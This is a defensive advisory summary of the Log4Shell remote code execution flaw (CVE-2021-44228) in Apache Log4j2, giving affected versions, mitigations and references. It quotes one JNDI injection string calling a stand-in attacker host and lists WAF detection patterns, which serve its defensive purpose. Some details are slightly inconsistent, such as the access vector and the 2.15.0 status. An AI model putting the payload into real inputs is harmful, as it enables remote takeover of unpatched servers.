CVE-2021-44228 – Critical Remote Code Execution in Apache Log4j2
TL;DR:
- CVSS 10.0: Critical remote code execution via JNDI lookup in Apache Log4j2
- Affects log4j-core versions 2.0-beta9 through 2.15.0 (excluding security-release patches 2.12.2, 2.12.3, and 2.3.1)
- Actively exploited in the wild since December 2021; CISA KEV added 2021-12-10
- Enabled by log message substitution; attackers inject malicious LDAP/JNDI URLs
- Patch to log4j 2.16.0 or apply vendor-specific mitigations immediately
Overview
Apache Log4j2 is a widely adopted Java logging library. The vulnerability allows attackers to execute arbitrary code by injecting a JNDI lookup string (e.g., ${jndi:ldap://attacker.com/evil}) into log messages, configuration, or parameters. When the library processes these logs, it performs JNDI lookups, loading and executing remote code. The flaw impacts virtually any application or service that logs user-controlled data without sanitization.
Technical Details
The vulnerability stems from the JNDI lookup substitution feature in log4j-core. When message lookup is enabled (default in many configurations), the parser resolves ${...} patterns. Attackers can craft log entries containing JNDI URLs, triggering the application server to fetch and execute malicious code from an LDAP or HTTP server under their control. The vector is network-adjacent, requires no authentication, and can be triggered via HTTP headers, HTTP parameters, or any input that ends up in a log message.
Severity & Impact
CVSS 10.0 (CRITICAL) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. The impact is total compromise of confidentiality, integrity, and availability. Real-world exploitation has led to ransomware deployment, data exfiltration, and full network takeover across cloud, on-prem, and IoT environments. CISA KEV was published on 2021-12-10, requiring federal agencies to patch or remove affected assets by 2021-12-24.
Affected Products
Apache Log4j2 versions 2.0-beta9 through 2.15.0 (excluding security-release patches 2.12.2, 2.12.3, and 2.3.1) are vulnerable. Fixed in 2.16.0 and the excluded security releases. The vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects. For the full list of affected products, versions, and vendor advisories, see the CVE page.
Actionable Insights
- Immediate: Identify all systems running vulnerable Log4j2 versions. Use scanning tools or check Java classpath for log4j-core JARs.
- Patch: Upgrade to log4j 2.16.0 or later, or apply the security-release patches (2.12.2, 2.12.3, 2.3.1). If an immediate upgrade is not possible, set the system property
log4j2.formatMsgNoLookupstotrueto disable JNDI lookups. - Monitor: Logs for JNDI lookup attempts, especially patterns like
${jndi:}or${${...}:}. Block outbound LDAP/HTTP requests from logging infrastructure where feasible. - Vendor Coordination: Apply vendor-specific patches (Apple, Cisco, Microsoft, Oracle, etc.) listed in the CISA KEV and vendor advisories.
Remediation & Mitigation (Numbered Steps)
- Patch or upgrade Apache Log4j2 to version 2.16.0+, 2.12.2, 2.12.3, or 2.3.1 immediately.
- Set the JVM system property
-Dlog4j2.formatMsgNoLookups=trueon all running instances to disable JNDI lookups. - Remove or restrict access to JNDI/LDAP endpoints from affected servers.
- Update WAF rules to block common Log4Shell payload patterns (e.g.,
${jndi:},${${...}:}. - Re-scan and verify all assets; repeat until no vulnerable versions remain.
References
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities
- Apache Advisory: https://logging.apache.org/log4j/2.x/security.html
- Microsoft Response: https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/
- Apple Security Update: https://support.apple.com/kb/HT213189
- Cisco Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
- For live threat activity, exploit tracking, and daily mention counts, see the CVE page.
Bottom Line
CVE-2021-44228 is a Critical (CVSS 10.0) remote code execution vulnerability in Apache Log4j2. Immediate patching or disablement of JNDI lookups is required across all affected assets. Monitor logs for JNDI lookup attempts and apply vendor mitigations promptly.
#CVE202144228 #Critical #RCE #CISAKEV #Log4Shell
